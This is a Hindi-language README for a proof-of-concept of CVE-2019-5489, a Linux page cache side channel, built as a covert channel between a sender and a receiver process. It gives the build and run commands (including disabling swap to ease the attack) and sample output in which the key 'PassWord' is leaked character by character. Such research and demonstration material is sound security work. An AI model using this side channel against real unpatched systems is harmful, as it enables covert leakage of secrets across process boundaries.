
Linux के लिए पेज कैश साइड चैनल हमले (CVE-2019-5489) प्रूफ ऑफ कॉन्सेप्ट
इस रिपॉजिटरी में Linux के लिए Page Cache Side Channel Attacks (CVE-2019-5489) का प्रूफ ऑफ कॉन्सेप्ट है।
पेज कैश साइड चैनल का मूल्यांकन करने के लिए, मैंने दो प्रक्रियाओं के बीच कोवर्ट चैनल लागू किया है। सेंडर प्रक्रिया पेज कैश साइड चैनल के माध्यम से रिसीवर प्रक्रिया को गोपनीय डेटा भेजती है। पेज कैश हमलों को Linux Kernel 5.0 और बाद में कम किया गया है, इसलिए यह PoC केवल Linux Kernel 5.0 से पहले काम करेगा।
नोट: मैंने Ubuntu 18.04, Linux 4.15.0-70 पर काम करने का परीक्षण किया है।
निम्न कमांड चलाएँ।
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
हमले को आसान बनाने के लिए स्वैप स्थान अक्षम करें।
swapoff -a
सबसे पहले, टर्मिनल 1 पर निम्न कमांड चलाएँ।
make run-sender
टर्मिनल 1 पर sending 1th character ... आउटपुट होने के बाद, निम्न कमांड चलाएँ।
make run-receiver
यदि निष्पादन सफल होता है, तो निम्नलिखित आउटपुट होगा।
यह दर्शाता है कि कुंजी सेंडर प्रक्रिया से रिसीवर प्रक्रिया को पेज कैश साइड चैनल के माध्यम से भेजी गई थी।
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord